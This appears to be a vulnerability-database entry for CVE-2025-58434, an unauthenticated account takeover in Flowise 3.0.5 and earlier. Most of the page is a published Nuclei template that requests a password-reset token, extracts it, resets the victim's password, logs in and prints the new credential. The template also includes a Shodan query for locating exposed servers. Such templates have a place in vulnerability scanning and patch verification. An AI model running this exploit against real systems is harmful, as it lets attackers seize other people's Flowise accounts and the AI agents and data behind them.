CVE-2025-58434: Flowise <= 3.0.5 - Account Takeover

日期: 2025-08-01 | 影响软件: Flowise | POC: 已公开

漏洞描述

Flowise versions 3.0.5 and earlier had a vulnerability in the forgot-password endpoint, which returned valid reset tokens without authentication—allowing attackers to reset passwords and take over accounts.

PoC代码[已公开]

id: CVE-2025-58434

info:
  name: Flowise <= 3.0.5 - Account Takeover
  author: nukunga[seunghyeonJeon]
  severity: critical
  description: |
    Flowise versions 3.0.5 and earlier had a vulnerability in the forgot-password endpoint, which returned valid reset tokens without authentication—allowing attackers to reset passwords and take over accounts.
  reference:
    - https://github.com/advisories/GHSA-wgpv-6j63-x5ph
    - https://nvd.nist.gov/vuln/detail/CVE-2025-58434
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-58434
    epss-score: 0.04019
    epss-percentile: 0.88033
    cwe-id: CWE-306
  metadata:
    verified: true
    shodan-query: http.title:"Flowise - Build AI Agents, Visually"
  tags: cve,cve2025,flowise,ato,rce,unauth

variables:
  username: "{{username}}"
  new_password: "{{rand_text_alphanumeric(12)}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /api/v1/account/forgot-password HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"user":{"email":"{{username}}"}}

    extractors:
      - type: regex
        name: token
        part: body
        group: 1
        regex:
          - '"tempToken":"([A-Za-z0-9]{64})"'
        internal: true

    matchers:
      - type: dsl
        dsl:
          - status_code == 201
        internal: true


  - raw:
      - |
        POST /api/v1/account/reset-password HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "user": {
            "email": "{{username}}",
            "tempToken": "{{token}}",
            "password": "{{new_password}}"
          }
        }

    matchers:
      - type: dsl
        dsl:
          - status_code == 201
        internal: true

  - raw:
      - |
        POST /api/v1/auth/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "email": "{{username}}",
          "password": "{{new_password}}"
        }

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, 'id', '{{username}}', 'activeWorkspaceId')
        condition: and

    extractors:
      - type: dsl
        dsl:
          - '"Password:" + new_password'
# digest: 4b0a00483046022100f464d81eb405e554cd58d1f49d3b16e2258103273578daa578c55e1d5ea4708202210081672320aee9d69f5f49d2a247aa9ce2d410f25aea8c1cc4e16ae6045baa17a3:922c64590222798bb761d5b6d8e72950

相关漏洞推荐